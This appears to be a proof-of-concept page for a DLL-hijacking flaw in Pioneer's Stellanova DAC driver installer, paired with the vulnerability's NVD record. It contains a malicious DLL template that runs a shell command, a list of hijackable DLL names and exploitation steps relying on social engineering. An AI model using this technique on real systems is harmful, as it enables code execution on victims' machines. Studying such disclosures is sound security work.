CVE-2026-21427

#!/usr/bin/env python3 # CVE-2026-21427 DLL Hijacking PoC # Target: PIONEER Stellanova DAC Driver Installer # This PoC demonstrates the DLL search path vulnerability import os import ctypes import sys def create_malicious_dll(): """ Generate malicious DLL that will be loaded by vulnerable installer In real attack, this would be a compiled DLL with malicious payload """ dll_template = ''' // Malicious DLL for CVE-2026-21427 // This DLL will be loaded instead of legitimate DLL #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Malicious code execution here // Could spawn reverse shell, download malware, etc. MessageBox(NULL, "CVE-2026-21427 DLL Hijacking", "POC", MB_OK); // Execute malicious payload with installer privileges system("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt"); } return TRUE; } ''' return dll_template def exploit_setup(): """ Setup files for exploitation """ print("[*] CVE-2026-21427 DLL Hijacking PoC") print("[*] Target: PIONEER Stellanova DAC Driver Installer") print("[*] Vulnerability: Insecure DLL search path loading") # Common DLL names that might be hijacked common_dlls = [ "version.dll", "winhttp.dll", "secur32.dll", "netapi32.dll", "jsproxy.dll" ] print("\n[!] To exploit:") print("1. Place malicious DLL in same directory as vulnerable installer") print("2. Rename DLL to one of the following names:") for dll in common_dlls: print(f" - {dll}") print("3. Execute the installer") print("4. Malicious DLL will be loaded with elevated privileges") print("\n[*] Note: This requires social engineering to get user to run installer") if __name__ == "__main__": exploit_setup()

{"cve": {"id": "CVE-2026-21427", "sourceIdentifier": "[email protected]", "published": "2026-01-08T04:15:56.690", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "The installers for multiple products provided by PIONEER CORPORATION contain an issue with the DLL search path, which may lead to insecurely loading Dynamic Link Libraries. As a result, arbitrary code may be executed with the privileges of the running installer."}, {"lang": "es", "value": "Los instaladores para múltiples productos proporcionados por PIONEER CORPORATION contienen un problema con la ruta de búsqueda de DLL, lo que puede llevar a la carga insegura de Bibliotecas de Enlace Dinámico. Como resultado, código arbitrario puede ser ejecutado con los privilegios del instalador en ejecución."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://jpn.pioneer/ja/support/software/stellanova/dac_driver/", "source": "[email protected]"}, {"url": "https://jvn.jp/en/jp/JVN17956874/", "source": "[email protected]"}]}}